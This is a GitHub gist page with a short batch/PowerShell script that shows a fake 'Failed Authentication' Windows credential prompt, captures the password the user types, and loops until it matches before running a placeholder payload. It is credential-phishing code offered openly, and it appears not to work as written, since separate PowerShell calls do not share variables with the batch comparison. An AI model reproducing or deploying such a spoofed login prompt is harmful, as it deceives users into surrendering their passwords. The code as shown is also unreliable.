Last active
September 26, 2023 13:41
-
-
Save sirius-beck/d5d4d01b837fefb44d963af126b34d49 to your computer and use it in GitHub Desktop.
Gets the windows user's password and runs a script when the correct password is entered
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
powershell $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent() | |
powershell $userSID = $currentUser.User.Value | |
:prompt | |
powershell $cred = $host.ui.promptforcredential('Failed Authentication', '', [Environment]::UserDomainName+'\'+[Environment]::UserName, [Environment]::UserDomainName).GetNetworkCredential().Password | |
powershell $adsi = [ADSI]"WinNT://$env:USERDOMAIN/$env:USERNAME,user" | |
powershell $adsiPass = $adsi.InvokeGet("Password") | |
powershell $adsiPassToStr = [System.Text.Encoding]::Unicode.GetString($adsiPass) | |
if "!adsiPassToStr!" == "!cred!" ( | |
goto script | |
) else ( | |
goto prompt | |
) | |
:script | |
echo "fuck" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment